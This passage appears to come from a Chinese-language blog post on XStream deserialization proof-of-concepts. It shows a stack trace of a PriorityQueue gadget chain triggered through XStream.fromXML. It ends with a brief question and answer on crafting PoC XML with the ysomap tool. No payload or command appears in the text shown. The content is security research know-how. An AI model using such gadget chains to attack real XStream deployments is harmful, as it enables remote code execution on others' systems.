 siftDown:690, PriorityQueue (java.util)
 heapify:737, PriorityQueue (java.util)
 readObject:797, PriorityQueue (java.util)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 callReadObject:113, SerializationMethodInvoker (com.thoughtworks.xstream.converters.reflection)
 doUnmarshal:452, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:257, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
 start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
 unmarshal:1157, XStream (com.thoughtworks.xstream)
 unmarshal:1141, XStream (com.thoughtworks.xstream)
 fromXML:1021, XStream (com.thoughtworks.xstream)
 main:26, Vul (POC.priorityQueue)
 
 | 
小疑问
他们这些 poc.xml 是怎么写出来的?虽然本质上还是找链子,但是自己还原成 xml 还是有难度,得去学习 xstream 的官方文档??
答:baizhu的ysomap已经写了对应的逻辑: https://github.com/wh1t3p1g/ysomap ,或者是直接使用 xstream 的 toxml??
参考链接